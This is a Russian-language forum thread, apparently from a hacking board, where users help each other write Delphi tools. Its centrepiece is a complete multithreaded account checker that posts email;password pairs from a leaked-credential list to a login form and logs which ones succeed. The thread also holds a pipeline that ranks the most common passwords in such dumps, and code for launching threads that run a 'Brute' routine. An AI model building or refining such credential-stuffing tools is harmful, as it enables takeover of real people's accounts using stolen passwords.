С данным алгоритмом на любом языке будет работать медленно, потому что на каждую строку первого файла заново считывается весь второй файл. Максимально быстро будет работать такой вариант: 1) Преобразовать ab.txt Code: 3434;[email protected] 890897;[email protected] в ba.txt Code: [email protected];3434 [email protected];890897 2) Отсортировать ba.txt в алфавитном порядке 3) Преобразовать ba.txt + bc.txt в ac.txt за один проход без вложенных циклов.
Под StringList переделать можно, так же можно удалять уже найденные позиции, чтобы сократить время последующих проходов, но такая оптимизация даст тебе скорее всего 1-2%. Кинь файлы на ночь на каком-нибудь дедике с ссд, да пусть обрабатываются. Не понимаю, к чему оптимизация, если это разовая обработка
Пример работы с файлами есть выше. Отсортировать можно с помощью утилиты sort (http://ru.wikipedia.org/wiki/Sort, версия под win32 - http://www.sendspace.com/file/z485i9). Если нужен готовый код, лучше обратиться в раздел "О работе".
Всем здравствуйте. Господа, такой вопрос, возможно ли используя стандартный winsock в delphi, прикрутить SSL, чтоб работать с https ? Заранее всем спасибо за ответы
В delphi 3 не хочет компилироваться Пишет: undeclared identifier: 'sockaddr_in'; Еще варианты есть кроме этого модуля?
Смысл использования delphi 3? Чем обусловлена такая жесткая привязанность? Ставь Delphi 7 и не знай горя
Хотя бы размер ехе шника, который в 2 раза меньше. Еще вопросик, может не совсем по теме, как реализовать код, который выводит "топ паролей"? К примеру, на линуксе делается вот так: Code: cat 1.txt 2.txt 3.txt | sed -e 's/^[^:;]*[:;]//g' | sort | uniq -c | sort -nr | head -n 20 252301 qwerty 119868 123456 32776 123456789 16538 111111 13761 12345 12930 qwertyuiop 12377 password 11792 12345678 10711 1qaz2wsx 10198 1234567890 10190 1234567 8744 123123 8411 123321 8172 qazwsx 8046 1q2w3e4r 6514 7777777 6303 qwer1234 6251 000000 6117 123qwe 6055 1q2w3e4r5t Вопрос, как реализовать для винды?
Вариантов не много: 1) Портировать все шесть прог под винду и юзать их в дальнейшем в такой же связке, с небольшим изменением в стиле вызова; (благо они все OpenSource) 2) Писать код включающий функционал всех шести упомянутых прог 3) писать узконаправленный код, конкретно под эту задачу (вывод топ паролей).
Если не ошибаюсь, тот же перл умеет здорово работать с регулярками, следовательно на нем все это сделать проще простого
Подскажите, есть консольный многопоточный чекер аккаунтов http. Необходимо отображать прогресс выполнения "чека". Как реализовать "прогрессбар" в консольном варианте? Спасибо за помощь! И еще одно, извините за повтор, такие вопросы уже задавались, даже мне примеры приводили, но так ничего у меня и не получилось. Есть примерно следующий код: Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, StdCtrls, ComCtrls, Gauges, SyncObjs; type TForm1 = class(TForm) Edit1: TEdit; UpDown1: TUpDown; Button1: TButton; Label1: TLabel; Label2: TLabel; OpenDialog1: TOpenDialog; GoodLabel: TLabel; BadLabel: TLabel; IdHTTP1: TIdHTTP; Gauge1: TGauge; Button2: TButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; TNewThread = class(TThread) private FAcc : string; FPas : string; Rez : Integer; protected procedure Execute; override; public procedure Sync; constructor Create(CreateSuspended: Boolean); end; var Form1: TForm1; Accounts:Tstringlist; Thread, Acc:integer; Work:boolean; CS:TcriticalSection; GoodFile, BadFile: textfile; implementation {$R *.dfm} constructor TNewThread.Create(CreateSuspended: Boolean); begin inherited Create(CreateSuspended); end; procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName); if OpenDialog1.Execute then begin Accounts.Clear; Accounts.LoadFromFile(OpenDialog1.FileName); end; end; procedure TForm1.Button2Click(Sender: TObject); begin Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt'); Rewrite(GoodFile); Closefile(GoodFile); Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt'); Rewrite(BadFile); Closefile(BadFile); GoodLabel.Caption:='0'; BadLabel.Caption:='0'; Gauge1.MaxValue:=Accounts.Count; Gauge1.Progress:=0; Acc:=-1; Work:=true; for Thread:=1 to strtoint(Edit1.Text) do TNewThread.Create(false); Thread:=strtoint(Edit1.Text); end; procedure TNewThread.Execute; var CurAcc:integer; data:Tstringlist; HTTP: TIdHTTP; begin while Work do begin CS.Enter; Inc(Acc); if Acc<Accounts.Count then CurAcc:=Acc else Work:=false; CS.Leave; if Work then begin FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); data:=Tstringlist.create; data.Add('st.posted=set'); data.Add('st.email='+FAcc); data.Add('st.password='+FPas); data.Add('st.fJS=enabled'); data.Add('st.screenSize=1366 x 768'); data.Add('st.flashVer=10.1.82'); data.Add('button_go=Войти'); HTTP:=TIdHTTP.create; HTTP.HandleRedirects:=false; try HTTP.Post('', data); Rez:=-1; except if Pos('Set-Cookie: JSESSIONID=', HTTP.Response.RawHeaders.Text)<>0 then Rez:=1 else Rez:=0; end; HTTP.Free; data.Free; Synchronize(Sync); end; end; dec(Thread); if Thread=0 then ShowMessage('OK'); end; procedure TNewThread.Sync; begin case Rez of 0:begin Accounts.Add(FAcc+';'+FPas); end; 1:begin Append(GoodFile); Writeln(GoodFile,FAcc+';'+FPas); Closefile(GoodFile); Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1); Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1; end; -1:begin Append(BadFile); Writeln(BadFile,FAcc+';'+FPas); Closefile(BadFile); Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1); Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1; end; end; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin Accounts.Free; CS.Free; end; procedure TForm1.FormCreate(Sender: TObject); begin Accounts:=Tstringlist.create; CS:=TcriticalSection.create; end; end. Пользователь сам вводит количество потоков, при нажатии на кнопку потоки создаются и выполняют свою работу. Вопрос: Как это все реализовать через BeginThread или CreateThread? Еще раз спасибо! Какие-то конфликты в разных версиях delphi, один и тот же код стабильно работает построенный в delphi xe и вылетает с ошибкой в delphi 3, 7. Это нехорошо, т.к. на данном этапе для меня первоначально важен размер приложения. Получается так: delphi3 - 120kb delphi7 - 160kb delphi xe - 420kb! И это консольное приложение! ХЗ в чем причина, поэтому и прошу у вас помощи. ps: Применяю Synapse. В XE тоже выпало приложение, только после пойденных 10000 комбинаций.. Кстати, а в чем преимущество BeginThread перед TThread? И есть ли это преимущество вообще?
На дельфях, прогресс-бар в консольном приложении можно сделать только полной очисткой консоли(заливка пробелами) и перерисовкой всего содержимого. Это очень уродский метод, который занимает слишком много процессорного времени и к тому же очень не красиво выглядит, поэтому просто пиши ход выполнения в заголовке окна SetConsoleTitle('Title'). По поводу динамического создания потоков, почитай литературу, достаточно 1-2 статей, чтобы понять как оно работает. Вот тебе готовый кодес потоков, одного из моих старых проектов: PHP: type TMsgRecord = record ThreadID : Integer; startacc : Integer; endacc : Integer; end; ThreadVar msgPtr : ^TMsgRecord; var tid:DWORD; stopmessage:boolean; for ti:=1 to threadmax do begin tParams[ti].ThreadID:=ti; tParams[ti].startacc:=lastacc; tParams[ti].endacc:=ti*celaya; lastacc:=ti*celaya+1; tThreads[ti] := BeginThread(nil,0, Addr(Brute), Addr(tParams[ti]), 0, tThreadID[ti]); inc(tCount); StatusBar1.Panels.Items[3].Text:='Threads: '+IntToStr(tCount); end; Это пример передачи параметров и вызова потоков, поэтому коментариев не будет. По поводу конфликтов XE и других, XE хранит строки в другой кодировке, так же отличается описание string и (p)char, поэтому при переносе проекта с/на XE всегда возникают проблемы. Далее размер. Нужно стараться писать чистый код, без использования VCL'овских структур и рантаймов. Первое, что нужно тебе сдлеать - это отказаться от модулей Sysutils, Messages, Dialogs и любых других, которые используют эти модули. Правильно написанное приложение, работающее с интернетом и потоками, имеющее графический интерфейс, занимает в среднем 20-30 кб (Delphi 7) без ручной оптимизации, если допиливать руками, размер можно снизить еще на 2-7кб. преимущество BeginThread перед TThread заключается в том, что ты не таскаешь за собой лишние структуры, из-за которых приложение неприлично раздувается, а работаешь напрямую с WinAPI.
Чуть бы подробнее насчет подобнее насчет потоков? Выше, в моем предыдущем посте, написан чекер через класс потока (TThread). Как без ошибок повторить тоже самое, только как у вас, через BeginThread? Спасибо! И еще, как вы пишете граф интерфейс? Через Api? Вызываете формы из какого-нибудь res-файла, заранее созданные в C++, или же MCK? Кстати, насчет прогресс-бара, есть же функции которые выводят текст в оплереденные координаты в консоли, либо функция, которая очищает текущую строку) Как выводить хотя бы процент выполнения?
inc - стандартная функция инкремента. tCount - общее количество потоков. Я не стал копипастить ненужные переменные, т.к. они не имеют отношения к созданию потока и передачи ему параметров. Как переписать твой код через BeginThread? Так я скинул пример же, разбирай! Для начала разберись в новой программе, как создаются потоки и как общаются с MainThread'ом, а потом уже подскажу по твоему коду, когда будут более конкретные вопросы. Графический интерфейс пишу на апи, без ресурсов. Динамически создаю все окна, их компоненты и обработчики, хотя на самом деле через ресурсы быстрее, но мне так нравится. А вообще, если пишу софт для себя, то либо вывожу все в консоли, либо вообще ничего не вывожу, ибо лень и ненужно Вот хороший пример http://www.delphibasics.ru/BeginThread.php
Спасибо. С потоками вроде разобрался. Мы могли бы пообщаться по поводу интерфейса без VCL? Кстати, вот вопрос насущный, я работаю со списками через TStringList, а он тащит за собой Classes, вот с этим как справиться?
Вместо StringList'a PHP: array [1..10] of string А интерфейс...что именно тебя интересует? Ты хочешь избавиться от консоли и прикрутить гуи?
Можно попробывать прикрутить, если поможете Заменил на массив, убрал Classes, размер тот же exe остался) так что в принципе особого смысла наверное нет А вот насчет интерфейса оч интересная тема! Кстать, насчет потоков, вот в чем ошибка была, наверно Code: for Thread := 1 to a do tArray[Thread] := BeginThread(nil, 0, @Execute, nil, 0, tID[Thread]); CloseHandle(tID[Thread]); Раньше у меня не было CloseHandle(tID[Thread]); Так правильно? Еще вопрос, а возможно как то задать размер окна консоли? и/или запретить изменение размера?
C гуи помогу, только задавай конкретные вопросы. По поводу Classes и неизменившегося размера. Видимо какой-то из других твоих модулей, кроме Classes, использует громоздкий SysUtils. Что у тебя есть в Uses? PHP: CloseHandle(tID[Thread]); Совершенно неверный подход. Поток это не хэндл. По окончании всех действий в потоке, его нужно завершать через EndThread. И делается это не в цикле создания потоков, а в ThreadFunc потока. Размер окна консоли задается таким образом: PHP: uses windows; var Rect: TSmallRect; Coord: TCoord; begin Rect.Left := 1; Rect.Top := 1; Rect.Right := 180; Rect.Bottom := 60; Coord.X := Rect.Right + 1 - Rect.Left; Coord.y := Rect.Bottom + 1 - Rect.Top; SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), Coord); SetConsoleWindowInfo(GetStdHandle(STD_OUTPUT_HANDLE), True, Rect); Запретить изменение размера можно через постоянный вызов MoveWindow
CloseHandle(tID[Thread]); Действительно, он вообще не нужен)) А насчет общего количества потоков, инкремента их и декремента, это вообще нужно? У меня вроде без них все работает.. В том проекте, из которого я удалял Classes - httpsock, SyncObjs, Windows; Компилирую его в delphi 3, выходной файл - 55 kb Насчет GUI попозже, сейчас пока вроде особой нужды нет, да и консоль мне больше нравится, и от пользователя требуется только два действия - ввести количество потоков и нажать Enter)